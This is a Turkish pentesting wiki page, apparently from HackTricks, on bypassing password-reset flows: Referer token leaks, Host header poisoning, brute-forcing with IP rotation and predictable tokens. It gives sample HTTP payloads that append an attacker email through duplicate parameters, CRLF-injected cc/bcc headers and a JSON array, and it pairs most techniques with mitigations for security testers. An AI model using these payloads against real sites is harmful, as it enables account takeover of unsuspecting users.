# Sıfırlama/Unutulmuş Şifre Bypass {{#include ../banners/hacktricks-training.md}} ## **Referans Üzerinden Şifre Sıfırlama Tokeni Sızıntısı** - HTTP referer başlığı, URL'de yer alıyorsa şifre sıfırlama tokenini sızdırabilir. Bu, bir kullanıcının şifre sıfırlama talep ettikten sonra üçüncü taraf bir web sitesi bağlantısına tıklaması durumunda gerçekleşebilir. - **Etkisi**: Cross-Site Request Forgery (CSRF) saldırıları aracılığıyla potansiyel hesap ele geçirme. - **Sömürü**: Referer başlığında bir şifre sıfırlama tokeninin sızıp sızmadığını kontrol etmek için, **şifre sıfırlama talebi** yapın ve sağlanan **sıfırlama bağlantısına** tıklayın. **Şifrenizi hemen değiştirmeyin**. Bunun yerine, **Burp Suite kullanarak istekleri yakalarken** **üçüncü taraf bir web sitesine** (Facebook veya Twitter gibi) gidin. **Referer başlığının şifre sıfırlama tokenini içerip içermediğini** görmek için istekleri inceleyin, çünkü bu üçüncü taraflara hassas bilgileri açığa çıkarabilir. - **Referanslar**: - [HackerOne Raporu 342693](https://hackerone.com/reports/342693) - [HackerOne Raporu 272379](https://hackerone.com/reports/272379) - [Şifre Sıfırlama Tokeni Sızıntısı Makalesi](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a) ## **Şifre Sıfırlama Zehirleme** - Saldırganlar, şifre sıfırlama talepleri sırasında Host başlığını manipüle ederek sıfırlama bağlantısını kötü niyetli bir siteye yönlendirebilir. - **Etkisi**: Sıfırlama tokenlerini saldırganlara sızdırarak potansiyel hesap ele geçirmeye yol açar. - **Hafifletme Adımları**: - Host başlığını izin verilen alanların beyaz listesi ile doğrulayın. - Kesin URL'ler oluşturmak için güvenli, sunucu tarafı yöntemleri kullanın. - **Yaman**: `$_SERVER['SERVER_NAME']` kullanarak şifre sıfırlama URL'lerini oluşturun, `$_SERVER['HTTP_HOST']` yerine. - **Referanslar**: - [Acunetix Şifre Sıfırlama Zehirleme Makalesi](https://www.acunetix.com/blog/articles/password-reset-poisoning/) ## **E-posta Parametresini Manipüle Ederek Şifre Sıfırlama** Saldırganlar, sıfırlama bağlantısını yönlendirmek için ek e-posta parametreleri ekleyerek şifre sıfırlama talebini manipüle edebilir. - Saldırgan e-posta adresini ikinci parametre olarak & kullanarak ekleyin. ```php POST /resetPassword [...] email=victim@email.com&email=attacker@email.com ``` - Saldırgan e-posta adresini ikinci parametre olarak %20 kullanarak ekleyin ```php POST /resetPassword [...] email=victim@email.com%20email=attacker@email.com ``` - Saldırgan e-posta adresini ikinci parametre olarak | kullanarak ekleyin ```php POST /resetPassword [...] email=victim@email.com|email=attacker@email.com ``` - Saldırgan e-posta adresini ikinci parametre olarak cc kullanarak ekleyin ```php POST /resetPassword [...] email="victim@mail.tld%0a%0dcc:attacker@mail.tld" ``` - Saldırgan e-posta adresini ikinci parametre olarak bcc kullanarak ekleyin ```php POST /resetPassword [...] email="victim@mail.tld%0a%0dbcc:attacker@mail.tld" ``` - Saldırgan e-posta adresini ikinci parametre olarak ekleyin, ```php POST /resetPassword [...] email="victim@mail.tld",email="attacker@mail.tld" ``` - Saldırgan e-posta adresini JSON dizisinde ikinci parametre olarak ekleyin. ```php POST /resetPassword [...] {"email":["victim@mail.tld","atracker@mail.tld"]} ``` - **Azaltma Adımları**: - E-posta parametrelerini sunucu tarafında doğru bir şekilde ayrıştırın ve doğrulayın. - Enjeksiyon saldırılarını önlemek için hazırlıklı ifadeler veya parametreli sorgular kullanın. - **Referanslar**: - [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be) - [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/) - [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872) ## **API Parametreleri ile Herhangi Bir Kullanıcının E-posta ve Şifresini Değiştirme** - Saldırganlar, hesap kimlik bilgilerini değiştirmek için API isteklerindeki e-posta ve şifre parametrelerini değiştirebilir. ```php POST /api/changepass [...] ("form": {"email":"victim@email.tld","password":"12345678"}) ``` - **Azaltma Adımları**: - Katı parametre doğrulaması ve kimlik doğrulama kontrolleri sağlanmalıdır. - Şüpheli etkinlikleri tespit etmek ve yanıt vermek için sağlam günlükleme ve izleme uygulayın. - **Referans**: - [API Parametre Manipülasyonu ile Tam Hesap Ele Geçirme](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240) ## **Hız Sınırlandırması Yok: E-posta Bombardımanı** - Şifre sıfırlama taleplerinde hız sınırlaması olmaması, kullanıcıyı sıfırlama e-postalarıyla boğabilir. - **Azaltma Adımları**: - IP adresine veya kullanıcı hesabına dayalı hız sınırlaması uygulayın. - Otomatik kötüye kullanımı önlemek için CAPTCHA zorlukları kullanın. - **Referanslar**: - [HackerOne Raporu 280534](https://hackerone.com/reports/280534) ## **Şifre Sıfırlama Token'ının Nasıl Üretildiğini Bulma** - Token üretimi arkasındaki desen veya yöntemi anlamak, token'ları tahmin etmeye veya brute-force yapmaya yol açabilir. Bazı seçenekler: - Zaman Damgasına Dayalı - Kullanıcı Kimliğine Dayalı - Kullanıcının E-posta Adresine Dayalı - Ad ve Soyadına Dayalı - Doğum Tarihine Dayalı - Kriptografi Temelli - **Azaltma Adımları**: - Token üretimi için güçlü, kriptografik yöntemler kullanın. - Tahmin edilebilirliği önlemek için yeterli rastgelelik ve uzunluk sağladığınızdan emin olun. - **Araçlar**: Token'ların rastgeleliğini analiz etmek için Burp Sequencer kullanın. ## **Tahmin Edilebilir UUID** - UUID'ler (sürüm 1) tahmin edilebilir veya öngörülebilir ise, saldırganlar geçerli sıfırlama token'ları oluşturmak için brute-force yapabilir. Kontrol edin: {{#ref}} uuid-insecurities.md {{#endref}} - **Azaltma Adımları**: - Rastgelelik için GUID sürüm 4 kullanın veya diğer sürümler için ek güvenlik önlemleri uygulayın. - **Araçlar**: GUID'leri analiz etmek ve oluşturmak için [guidtool](https://github.com/intruder-io/guidtool) kullanın. ## **Yanıt Manipülasyonu: Kötü Yanıtı İyi ile Değiştirme** - Hata mesajlarını veya kısıtlamaları aşmak için HTTP yanıtlarını manipüle etme. - **Azaltma Adımları**: - Yanıt bütünlüğünü sağlamak için sunucu tarafı kontrolleri uygulayın. - Adam ortası saldırılarını önlemek için HTTPS gibi güvenli iletişim kanalları kullanın. - **Referans**: - [Canlı Hata Ödül Etkinliğinde Kritik Hata](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3) ## **Süresi Dolmuş Token Kullanma** - Süresi dolmuş token'ların hala şifre sıfırlama için kullanılıp kullanılamayacağını test etme. - **Azaltma Adımları**: - Katı token süresi dolma politikaları uygulayın ve token süresini sunucu tarafında doğrulayın. ## **Brute Force Şifre Sıfırlama Token'ı** - IP tabanlı hız sınırlamalarını aşmak için Burpsuite ve IP-Rotator gibi araçlar kullanarak sıfırlama token'ını brute-force yapma. - **Azaltma Adımları**: - Sağlam hız sınırlama ve hesap kilitleme mekanizmaları uygulayın. - Brute-force saldırılarını gösteren şüpheli etkinlikleri izleyin. ## **Token'ınızı Kullanmayı Deneyin** - Bir saldırganın sıfırlama token'ının mağdurun e-posta adresi ile birlikte kullanılıp kullanılamayacağını test etme. - **Azaltma Adımları**: - Token'ların kullanıcı oturumu veya diğer kullanıcıya özgü özelliklere bağlı olduğundan emin olun. ## **Oturum Geçersiz Kılma: Çıkış/Yeni Şifre Sıfırlama** - Kullanıcı çıkış yaptığında veya şifresini sıfırladığında oturumların geçersiz kılındığından emin olma. - **Azaltma Adımları**: - Tüm oturumların çıkış veya şifre sıfırlama sırasında geçersiz kılındığından emin olmak için uygun oturum yönetimi uygulayın. ## **Oturum Geçersiz Kılma: Çıkış/Yeni Şifre Sıfırlama** - Sıfırlama token'larının geçersiz hale geldiği bir süresi olmalıdır. - **Azaltma Adımları**: - Sıfırlama token'ları için makul bir süre belirleyin ve bunu sunucu tarafında sıkı bir şekilde uygulayın. ## Referanslar - [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token) {{#include ../banners/hacktricks-training.md}}